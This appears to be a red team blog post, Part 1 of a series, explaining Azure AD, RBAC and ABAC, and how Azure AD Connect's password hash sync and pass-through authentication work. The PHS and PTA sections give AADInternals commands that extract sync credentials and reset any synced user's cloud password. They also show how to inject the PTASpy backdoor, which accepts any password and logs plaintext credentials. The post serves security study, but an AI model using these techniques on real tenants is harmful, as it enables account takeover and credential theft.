banner
毅种循环

毅种循环

头顶铁锅接收宇宙能量

AzureAD Offense and Defense from the Red Team Perspective (Part 1)

AzureAD Offensive and Defensive from the Red Team Perspective#

AzureAD/Azure/AD#

Azure AD is a cloud-based identity and access management (IAM) solution provided by Microsoft. It helps organizations securely manage access to applications and resources for employees, partners, and customers.

Note: As of June 21, 2023, Azure AD has officially been renamed Microsoft Entra ID, but I will still refer to it as AzureAD below.

Key features of Microsoft Azure ID include:

  • Authentication and Authorization: Verifying user identities and controlling their access to resources.
  • Single Sign-On (SSO): Users access multiple applications with a single set of credentials.
  • Multi-Factor Authentication (MFA): Enhancing security by requiring additional verification factors (such as SMS codes or fingerprints).
  • Device Management: Managing and securing devices connected to the organization's network.
  • Self-Service Password Reset: Users can reset their passwords without contacting IT support.
  • Integration with On-Premises Active Directory: Combining cloud identity management with on-premises identity management.

image

AD or AAD?#

This is an interesting question, and it is essential to clarify the functional concepts between the two.

AD: Short for "Active Directory," it is essentially a local domain service. Windows Active Directory primarily uses the Kerberos authentication protocol and LDAP, authenticating users based on access control lists (ACL) as part of its directory service.

AAD: "Azure Active Directory" utilizes SAML, OAuth 2.0, and OpenID Connect protocols based on Role-Based Access Control (RBAC) models and Conditional Access Control.

FeatureWindows AD (Active Directory)Azure AD (Microsoft Entra ID)
Deployment TypeOn-premises, requiring installation and maintenance on the organization's serversCloud-based, hosted and maintained by Microsoft
Primary UseManaging users, computers, and resources in local Windows environments, such as file servers, printers, and applicationsManaging access to cloud applications and resources, such as Microsoft 365, Azure services, and SaaS applications
Authentication ProtocolsKerberos, NTLMSAML, WS-Federation, OAuth 2.0, OpenID Connect
Directory StructureHierarchical structure based on Organizational Units (OU)Flat structure based on groups
Group PolicySupports Group Policy Objects (GPO) for centralized management of Windows settings and configurationsDoes not directly support Group Policy but can achieve similar functionality using tools like Intune
Access ControlBased on Access Control Lists (ACL)Role-Based Access Control (RBAC) and Conditional Access Policies
Single Sign-On (SSO)Supports SSO for on-premises applications but requires additional configurationSupports SSO for cloud applications, typically out of the box
Multi-Factor Authentication (MFA)Supports MFA but requires additional configurationSupports MFA and is easy to configure
Self-ServiceSupports self-service password reset and account unlock but requires additional configurationSupports self-service password reset, account unlock, and device registration, typically out of the box
Licensing ModelTypically provided as part of the Windows Server operating system, requiring the purchase of a Windows Server licenseOffers free and paid versions, with paid versions providing more advanced features
Applicable ScenariosSuitable for organizations primarily using on-premises Windows applications and resources or needing strict control over the local environmentSuitable for organizations primarily using cloud applications and resources or needing a flexible, scalable identity and access management solution
IntegrationCan integrate with Azure AD for hybrid identity managementCan integrate with Windows AD for hybrid identity management
Other FeaturesProvides additional features such as DNS, DHCP, and Certificate ServicesProvides additional features such as device management, application proxy, self-service group management, and dynamic groups

So AD and AAD are not entirely the same; the only similarity is that both provide a trust service model.

The traditional AD model is more suitable for managing local domain computers, while the AAD model is better suited for managing scenarios that frequently require cloud resources.

This brings up another concept, which is the relationship between Azure AD and Azure.

Azure or Azure AD?#

Azure is a large cloud service platform from Microsoft, while AzureAD is just one of its products.

image

image

From the above diagrams, we can see the relationship between Azure, Azure AD, and resource groups.

Assuming a scenario where a user adopts a hybrid identity environment and uses Office 365, Azure AD is responsible for cloud identity verification. Azure AD provides authentication and authorization services for Office 365, determining user access to Azure resources through the RBAC model. If correct, users can log in to Office 365 using Azure AD credentials.

What is the RBAC model? Let's look further.

RBAC#

RBAC is a Role-Based Access Control service used to manage user access to Azure resources, including what they can do with these resources and which areas they can access.

Core concepts of RBAC:

  • Role: A set of permissions. For example, the "Virtual Machine Administrator" role may have permissions to create, start, and stop virtual machines.
  • Permission: The ability to perform specific actions on specific resources. For example, the "Start" permission on a virtual machine.
  • Assignment: Assigning a role to a user or group, allowing the user or group to inherit all permissions of that role.

image

This diagram illustrates how Azure Role-Based Access Control (RBAC) works, detailed as follows:

1. Security Principal:

  • A security principal is an entity that can be assigned Azure roles, including:
    • User: An individual user in Azure AD.
    • Group: A group of users in Azure AD.
    • Service Principal: An identity representing an application or service.
    • Managed Identity: An automatically managed identity for Azure resources.
  • In the diagram, the security principal is a group named "Marketing Group."

2. Role Definition:

  • A role definition is a set of permissions that describes what actions an entity with that role can perform on Azure resources.
  • Azure RBAC provides many built-in roles, such as:
    • Owner: Has full access to the resource.
    • Contributor: Can create and manage resources but cannot grant access.
    • Reader: Can only view resources and cannot modify them.
  • Custom roles can also be created to meet specific needs.
  • In the diagram, the "Contributor" role is assigned to the Marketing Group, meaning members of that group can modify resources but cannot grant access.

3. Role Assignment:

  • Role assignment is the process of associating a role definition with a security principal and a scope.
  • Through role assignment, you can control which security principals can perform which actions within which scopes.
  • In the diagram, the "Contributor" role is assigned to the Marketing Group, with the scope being a resource group named "pharma-sales."

4. Scope:

  • Scope is the range within which RBAC is applied, which can be:
    • Management Group: A container that includes multiple subscriptions.
    • Subscription: The basic billing unit for Azure services.
    • Resource Group: A logical container that includes related Azure resources.
    • Individual Resource: For example, a virtual machine, storage account, etc.
  • In the diagram, the scope is a resource group named "pharma-sales," meaning members of the Marketing Group can exercise the "Contributor" role's permissions only within this resource group.

At the same time, a User/Group can be bound to multiple Roles.

ABAC#

ABAC is another access control model that provides a more granular and flexible way to manage permissions compared to RBAC.

Core concepts of ABAC:

  • Attribute: Characteristics that describe the subject (user, group, application, etc.), resource (file, data, service, etc.), or environment (time, location, network, etc.). For example, a user's department, title, security clearance level, resource type, sensitivity, creation date, and environmental IP address, device type, etc.
  • Policy: A set of rules that define whether access is allowed or denied when specific conditions are met. Policies typically use attributes to express conditions, such as "Allow marketing department employees to access market data during working hours."

I will use a diagram to explain this behavior:

image

  • Allow access to market data: This is the specific content of the policy, explaining the conditions under which access to market data is allowed.
  • Subject, Resource, Environment: These are the three core elements of the ABAC model, representing the visitor, the object being accessed, and the access environment.
  • Department, Data Type, Time, Day of the Week: These are specific attributes used to describe the characteristics of the subject, resource, and environment.
  • Marketing Department, Market Data, 9:00-17:00, Monday-Friday: These are specific values of the attributes used to define access conditions.

The logical relationship is:

Access to market data is allowed only when all three of the following conditions are met:

  1. The subject's department attribute is "Marketing Department."
  2. The resource's data type attribute is "Market Data."
  3. The environment's time attribute is between 9:00 and 17:00, and the day of the week attribute is Monday to Friday.

I believe this is similar to the definition of resource-based constrained delegation.

Azure AD Connect Architecture and Working Principle#

Overview of Azure AD Connect Features#

Azure AD Connect is a tool provided by Microsoft to establish hybrid identity integration between on-premises Active Directory (AD) and Azure Active Directory (Azure AD).

Features of Azure AD Connect:

  • Password Hash Synchronization (PHS): Synchronizes the password hashes of on-premises AD users to Azure AD, allowing users to log in to both on-premises and cloud services with the same password.
  • Pass-through Authentication (PTA): Allows users to log in to Azure AD directly using their on-premises AD credentials without storing password hashes in the cloud.
  • Federation: Redirects authentication requests to on-premises AD FS (Active Directory Federation Services) or third-party identity providers (IdP) for more advanced authentication and authorization schemes.

Three Synchronization Methods#

PHS#

Principles and Risks of Hash Synchronization#

Password Hash Synchronization (PHS) is a feature of AzureAD Connect - it is the easiest authentication option to implement and is the default option. PHS works by synchronizing the password hash from Active Directory to Azure AD whenever a password is changed on-premises.

Note that when modifying a user password through Azure AD, the new password will not sync back to on-premises AD. The PHS mechanism is one-way, only supporting the synchronization of password hashes from on-premises AD to Azure AD, and not from Azure AD back to on-premises AD. To enable two-way synchronization of passwords between Azure AD and on-premises AD, other mechanisms such as Password Writeback must be used. However, the Password Writeback feature requires Azure AD Premium P1 or P2 licenses and must be configured in Azure AD Connect.

Its principles are as follows:

  • Retrieve Password Hash: Azure AD Connect reads the user's password hash from on-premises Active Directory (AD). The password hash is a fixed-length string generated by applying a one-way encryption algorithm (such as NTLM or Kerberos) to the user password.
  • Process Password Hash: To enhance security, Azure AD Connect performs additional processing on the retrieved password hash, including:
    • Salting: Adding a random string (salt) to the password hash to prevent rainbow table attacks.
    • Irreversible Encryption: Applying a one-way encryption algorithm to the salted password hash again, making it impossible to recover the original password from the cloud hash.
  • Synchronize to Azure AD: Azure AD Connect securely synchronizes the processed password hash to Azure AD, only syncing password hashes that have changed since the last synchronization.
  • User Login Verification: When a user attempts to log in to Azure AD or cloud services like Office 365, Azure AD hashes the password entered by the user in the same way and compares it with the password hash stored in Azure AD. If the two hash values match, authentication is successful, allowing the user to log in.

Synchronization occurs every half hour. What happens when hybrid mode is enabled?

image

image

image

When a user with an MSQL flag is added, what happens when we check the permissions they have?

image

It is worth noting that this user will not sync to AAD.

Azure AD Connect by default excludes the following types of accounts:

  • Built-in administrator accounts, such as Administrator
  • Other built-in and system accounts
  • Disabled accounts

This can be obtained using Get-ADSyncRule to retrieve synchronization user rules.

image

All Administrator, Guest, and krbtgt accounts in AD domain environments will not sync.

These rules are designed to prevent certain system accounts, guest accounts, or high-privilege accounts from being synchronized to Azure AD, thereby protecting the security and stability of Azure AD.

As mentioned earlier in this article, Azure AD Connect creates a synchronization account in the on-premises Active Directory.

Since it is responsible for sending the user password hash to the cloud, this user has replication permissions on the domain.

Let's see how it synchronizes passwords:
image

This code defines a class named PasswordHashGenerator, which is a subclass of ClearPasswordHashGenerator. The PasswordHashGenerator primarily serves to generate password hash values for synchronizing passwords in Azure AD Connect.

image

The re-hashing process is handled by methods in the OrgIdHashGenerator class, which applies the SHA256 algorithm to the salted hash value, repeating it 1000 times. Each hashing uses the previous result as input, resulting in a more complex and harder-to-crack final hash value.

Let's verify this process. For demonstration purposes, I will add a new AD domain user "lihua009."

image

Then force a synchronization process.

image

dnspy has also stopped at the breakpoint.

image

Let's compare if they are consistent.

image

Abuse of Privileges

As mentioned earlier, after configuring PHS, two users will be automatically created.

MSQL_ will be automatically created in the local AD. This account is assigned the Directory Synchronization Account role (see documentation), which means it has replication (DCSync) permissions in the local AD.

Sync* creates an account in Azure AD. This account can reset the passwords of any user in Azure AD (synchronized or cloud-only).

image

The passwords of these two privileged accounts are stored in the SQL Server on the server where Azure AD Connect is installed.

The database is located at C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

The ADsync user is launched locally as a service account, as referenced below:

image

The Azure AD Connect service uses a virtual service account named NT SERVICE\ADSync to execute the service process (miiserver.exe).

When you have administrator privileges and are on the server where Azure AD Connect is installed, you can execute related commands.

You can use AADInternals for extraction, as shown below:

image

After obtaining these sync credentials, you can directly use the token to change the password of any user synchronized with AAD, as follows:

# Get the list of global administrators
$globalAdmins = Get-AADIntGlobalAdmins
Write-Output $globalAdmins

image

# Get all users
$users = Get-AADIntUsers -AccessToken $token
Write-Output $users

image

# Get the ImmutableId of a specified user, replace with your actual user
$userPrincipalName = "[email protected]"
$user = Get-AADIntUser -UserPrincipalName $userPrincipalName | Select-Object -Property ImmutableId
Write-Output $user

image

# Use ImmutableId to reset user password, replace with your desired new password
$newPassword = "AbcdPass12343!@#"
Set-AADIntUserPassword -SourceAnchor $user.ImmutableId -Password $newPassword -Verbose

image

# You can now access Azure AD with the new password, using the old password to access on-premises (password changes do not sync)

Since we simulated the ticket modification from AAD and did not enable password writeback, the modified password for this user cannot log in to the local AD.

image

Summary of PHS Attack Surface

Let's summarize an overview of PHS.

Synchronization Process:

  1. Extraction of Password Hash:
    When a user creates or modifies a password in local AD, AD stores the hash of the password (usually NTLM hash).
  2. Extraction and Processing of Hash Values:
    The Azure AD Connect tool periodically extracts these password hash values from local AD. To enhance security, Azure AD Connect does not directly transmit NTLM hashes but performs additional processing:
    • First, Azure AD Connect salts and hashes the NTLM hash to generate a new hash value.
    • This new hash value is then processed by the PBKDF2 (Password-Based Key Derivation Function 2) encryption algorithm to increase computational complexity and security.
  3. Transmission to Azure AD:
    The processed hash values are transmitted to Azure AD through an encrypted channel.

Workflow:

  1. Regular Synchronization:
    The Azure AD Connect tool synchronizes by default every 30 minutes. You can also manually trigger synchronization.
  2. Storage of Password Hashes:
    The password hash values transmitted to Azure AD are stored in Azure AD for user authentication.

Verification Process:

When a user attempts to log in to Azure AD resources (such as Office 365, Azure portal, etc.), the authentication process is as follows:

  1. User Inputs Password:
    The user enters their username and password on the login screen.
  2. Password Verification:
    Azure AD hashes the password entered by the user in the same way and compares it with the password hash stored in Azure AD.
    • If the hash values match, the user is authenticated.
    • If the hash values do not match, user authentication fails.

Synchronization Mechanism:

  • Local AD Password Modification:
    When a user modifies their password in local AD, the new password hash will be transmitted to Azure AD during the next synchronization.
  • Azure AD Password Modification:
    If a user modifies their password in Azure AD, the new password will not sync back to local AD. This is because PHS is a one-way synchronization mechanism by default.

QA:

  • Can it attack the local domain?
    This is possible because PHS is a secondary hash process to the cloud. Even if your password is leaked in AAD, it is difficult to reverse-engineer. However, it does not rule out the possibility that your AAD password and AD password are the same.
  • Do the sync permissions obtained from sync abuse have permissions for local domain users? Can local user information be directly exported?
    Sync permissions are high and can be understood as synchronization controllers, primarily used to manage the synchronization process, syncing data from local AD to cloud Azure AD. By default, the Sync account has only read-only permissions in local AD, so it cannot directly export or change local AD user information, only affecting cloud users. However, if the password writeback feature is enabled, the Sync account will gain write permissions for local AD users, allowing for two-way influence, meaning it can write back password changes from the cloud to local AD. Therefore, in this case, Sync permissions can affect local AD user information.

PTA#

Principles and Risks of Pass-Through Authentication#

From documentation: Azure Active Directory (Azure AD) Pass-through Authentication allows users to log in to both on-premises and cloud-based applications using the same password. This feature provides users with a better experience—fewer passwords to remember—and reduces IT help desk costs, as users are less likely to forget how to log in. When users log in to Azure AD, this feature directly verifies the user's password against the on-premises Active Directory.

In PTA, identities are synchronized, but passwords are not synchronized as they are in PHS.

Authentication is verified in the local AD, and communication with the cloud is handled by an authentication agent running on a local server (not necessarily on the local DC).

You need to switch the user login method to pass-through authentication mode in Azure, as shown in the following diagram:

image

image

image

Official recommendations suggest setting up four or more PTA agent servers in large domains, and the security of these servers should be set to the highest level (of course, the more PTA servers there are, the larger the potential attack surface).

The key processes of the PTA server are as follows: C:\Program Files\Microsoft Azure AD Connect Authentication Agent

image

Among them, the process responsible for synchronization is AzureADConnectAuthenticationAgentService.exe.

After placing a breakpoint in the process method, let's initiate a forced process to see.

image

So how does PTS perform logical verification? Let's look at its code; the general process is as follows:

using System;
using System.Diagnostics;
using Microsoft.ApplicationProxy.Common.Utilities.Extensions;

namespace Microsoft.ApplicationProxy.Connector.DirectoryHelpers
{
    // Represents the context for interacting with Active Directory domains.
    public class ActiveDirectoryDomainContext : IDomainContext
    {
        // Domain property.
        public string Domain { get; private set; }

        // Constructor to initialize domain context.
        public ActiveDirectoryDomainContext(string domain, INativeMethodWrapper nativeMethodWrapper)
        {
            // Initialize Domain property. If the domain is empty or null, set it to null.
            this.Domain = (string.IsNullOrEmpty(domain) ? null : domain);
            // Initialize nativeMethodWrapper field.
            this.nativeMethodWrapper = nativeMethodWrapper;
        }

        // Method to validate user credentials against the Active Directory domain.
        public bool ValidateCredentials(string userPrincipalName, string password, out object errorCode)
        {
            bool result;
            try
            {
                // Validate userPrincipalName and password are not null or empty.
                userPrincipalName.ValidateNotNullOrEmpty("userPrincipalName");
                password.ValidateNotNullOrEmpty("password");

                // Check if the domain name is valid.
                if (!this.ValidateDomainName())
                {
                    // If the domain name is invalid, set the error code and return false.
                    errorCode = string.Format("InvalidDomainName:'{0}'", this.Domain);
                    result = false;
                }
                else
                {
                    // Attempt to log in the user with the provided credentials.
                    bool flag = this.LogonUser(userPrincipalName, password);

                    if (flag)
                    {
                        // If login is successful, set the error code to 0.
                        errorCode = 0;
                    }
                    else
                    {
                        // If login fails, get the last Win32 error code and log a warning.
                        errorCode = this.nativeMethodWrapper.GetLastWin32Error();
                        Trace.TraceWarning("Logon user failed with error: '{0}'", new object[]
                        {
                            errorCode
                        });
                    }
                    result = flag;
                }
            }
            catch (Exception ex)
            {
                // Log exception information.
                Trace.TraceError("Unknown Exception was thrown for domain '{0}'. Ex: '{1}'", new object[]
                {
                    this.Domain,
                    ex
                });
                errorCode = ex.GetType().ToString();
                result = false;
            }
            return result;
        }

        // Private method to log in using specified user credentials.
        private bool LogonUser(string userPrincipalName, string password)
        {
            SafeCloseHandle safeCloseHandle = null;
            bool result;
            try
            {
                // Call the nativeMethodWrapper's LogonUser method to log in.
                result = this.nativeMethodWrapper.LogonUser(userPrincipalName, this.Domain, password, 3U, 0U, out safeCloseHandle);
            }
            finally
            {
                // Ensure SafeCloseHandle resources are released.
                if (safeCloseHandle != null)
                {
                    safeCloseHandle.Dispose();
                }
            }
            return result;
        }

        // Private method to validate the domain name's validity.
        private bool ValidateDomainName()
        {
            // Check if the domain name is '.'; if so, log an error and return false.
            if (this.Domain != null && this.Domain.Equals("."))
            {
                Trace.TraceError("Failed to create domain context due to invalid domain. Domain: '{0}'", new object[]
                {
                    this.Domain
                });
                return false;
            }
            return true;
        }

        // Constant definitions.
        private const uint LOGON32_PROVIDER_DEFAULT = 0U; // Default login provider.
        private const uint LOGON32_LOGON_NETWORK = 3U; // Network login type.
        private const string InvalidDomainNameErrorFormat = "InvalidDomainName:'{0}'"; // Invalid domain name error format.
        private const int SuccessCode = 0; // Success code.
      
        // Private field for encapsulating local method calls.
        private readonly INativeMethodWrapper nativeMethodWrapper;
    }
}

Code Explanation:

  • ActiveDirectoryDomainContext Class:
    • Domain Property: Stores the domain name.
    • Constructor: Initializes the Domain property and nativeMethodWrapper field.
  • ValidateCredentials Method:
    • Validates that userPrincipalName and password are valid.
    • Checks if the domain name is valid.
    • Attempts to log in the user using the LogonUser method.
    • Sets the errorCode based on the login result and logs.
  • LogonUser Method:
    • Calls the nativeMethodWrapper's LogonUser method to log in the user.
    • Ensures SafeCloseHandle resources are released afterward.
  • ValidateDomainName Method:
    • Validates the domain name's validity; if the domain is ., logs an error and returns false.
  • Constants and Fields:
    • LOGON32_PROVIDER_DEFAULT, LOGON32_LOGON_NETWORK, InvalidDomainNameErrorFormat, and SuccessCode are constant definitions for login operations and error handling.
    • nativeMethodWrapper is used to encapsulate calls to local methods.

This means that when users enter their passwords through Azure AD configured with PTA, their credentials are transmitted in unencrypted form to the PTA, which then verifies them against Active Directory. So, what happens if we compromise the server responsible for Azure AD Connect?

It is evident that we can control the entire PTA server, and all information logged in through that proxy endpoint will be intercepted.

Man-in-the-Middle/Backdoor

As mentioned earlier, this process connects local domain information through PTA, so the attack surface in specific situations is as follows:

When the PTA proxy server is compromised and there is local administrator access, the process name is: AzureADConnectAuthenticationAgentService.exe.

Find existing PTA proxy information in AAD:

Import-Module AADInternals // Import module
Get-AADIntProxyAgents // Get machines with PTA

image

In actual operations, these PTA machines can be prioritized for rights protection.

image

Reference: https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta

Install-AADIntPTASpy // Inject malicious backdoor
Get-AADIntAccessTokenForPTA -SaveToCache 

After using this command, a hidden folder (C:\PTASpy) will be created, and PTASpy.dll will be copied there.

Then, PTASpy.dll will be injected into the running AzureADConnectAuthenticationAgentService.exe.

After installation, PTASpy will collect all used credentials and store them along with Base64 encoded passwords in C:\PTASpy\PTASpy.csv.

It is worth mentioning that this PTA is a default backdoor feature that does not verify the correctness of the password.

image

You can also use Get-AADIntPTASpyLog to read the plaintext passwords.

image

ADFS#

Not completed.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.